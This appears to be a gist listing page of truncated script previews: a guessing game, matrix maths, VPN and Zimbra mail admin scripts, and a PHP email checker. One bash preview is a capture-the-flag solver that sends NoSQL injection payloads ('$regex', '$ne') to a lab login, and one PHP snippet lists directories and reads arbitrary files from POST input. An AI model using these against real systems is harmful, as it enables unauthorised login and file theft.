This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/env python | |
import random | |
print("Tebak angka") | |
a = int(input("Masukan angka 1-5\n")) | |
b = random.randint(1,5) | |
if a == b: | |
print("kamu menang!") | |
elif a != b: | |
print("kamu kalah!!!, angka yang benar",b ) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/env python | |
def banner(): | |
print("Menghitung invers matriks 3x3") | |
print("created with <3 by lazt") | |
def determinan(): | |
global det | |
det = (bar1[0] * bar2[1] * bar3[2]) + (bar1[1] * bar2[2] * bar3[0]) + (bar1[2] * bar2[0] * bar3[1]) - (bar1[2] * bar2[1] * bar3[0]) - (bar1[0] * bar2[2] * bar3[1]) - (bar1[1] * bar2[0] * bar3[2]) | |
print("Nilai determinannya adalah: ",det) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/env python | |
def pprint(A): | |
n = len(A) | |
for i in range(0, n): | |
line = "" | |
for j in range(0, n+1): | |
line += str(A[i][j]) + "\t" | |
if j == n-1: | |
line += "| " |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function pwait() { | |
while [ $(jobs -p | wc -l) -ge $1 ]; do | |
sleep 1 | |
done | |
} | |
for i in $(cat list.txt); do | |
do_the_jobs & | |
pwait 6 # 6 = max thread | |
done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# for education purpose only. | |
# this is a labs.retas.io hellbound challenges. | |
# created just for fun. | |
# ambil panjang username | |
for len in {1..20}; | |
do | |
post="username[\$regex]=.{$len}&password[\$ne]=hax0r" | |
exec=$(curl -Ls 'http://10.10.10.3/login/login.php' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.84 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://10.10.10.3' -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Referer: http://10.10.10.3/login/' -H 'Upgrade-Insecure-Requests: 1' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' --data "$post") | |
printf "check panjang username: $len\r" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/env bash | |
# reqiured packages: strongswan xl2tpd net-tools | |
# adjust with your credentials given from ISP | |
VPN_SERVER_IP='your_vpn_server_ip' | |
VPN_IPSEC_PSK='your_ipsec_pre_shared_key' | |
VPN_USER='your_vpn_username' | |
VPN_PASSWORD='your_vpn_password' | |
# routing data needed | |
GATEWAY_IP=$(ip route | grep via | awk -F\ {'print $3'}) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# remove spam / phising in all account inbox | |
# modified from https://github.com/Ghosto27/Zimbra_remover/blob/master/rm_message.sh | |
# for victim in $(cat list); # list of victims gathered from mail gateway or just | |
for victim in $(zmprov -l gaa); # for all account in mail server | |
do | |
echo "=======Looking for "$victim"" | |
#instead "From:$subject" you can use "subject:$subject" or something another or using content | |
for msg in `zmmailbox -z -m "$victim" s -l 500 -t message "content:(\"pending incoming messages\")" | awk '{ if (NR!=1) {print}}' | grep -v -e Id -e "-" -e "^$" | awk '{ print $2 }'` | |
do | |
echo "Found "$msg"" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
//include 'functions.php'; | |
$email = $_POST['mail']; | |
if(filter_var($email, FILTER_VALIDATE_EMAIL)) { | |
$domain = array_pop(explode('@', $email)); | |
if(checkdnsrr($domain, 'mx')) { | |
exit('mail sent'); | |
//mail($email, $subject, $message, $headers); | |
} else { | |
exit('mail server not found'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?= | |
# $ curl localhost/fm.php --data "0=." | |
# $ curl localhost/fm.php --data "0=fm.php&r" | |
$path = $_POST[0]; | |
print_r(scandir($path)); | |
if (isset($_POST['r']) && file_exists($path)) { | |
readfile($path); | |
print_r(file_get_contents($path)); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
for i in $(cat user); do | |
pass=$(curl -s https://www.dinopass.com/password/strong 2> /dev/null); | |
zmprov ca $i@example.com "$pass"; | |
echo "[+] user:$i created with password: $pass" >> /tmp/log; | |
sleep 0.2; | |
done |
OlderNewer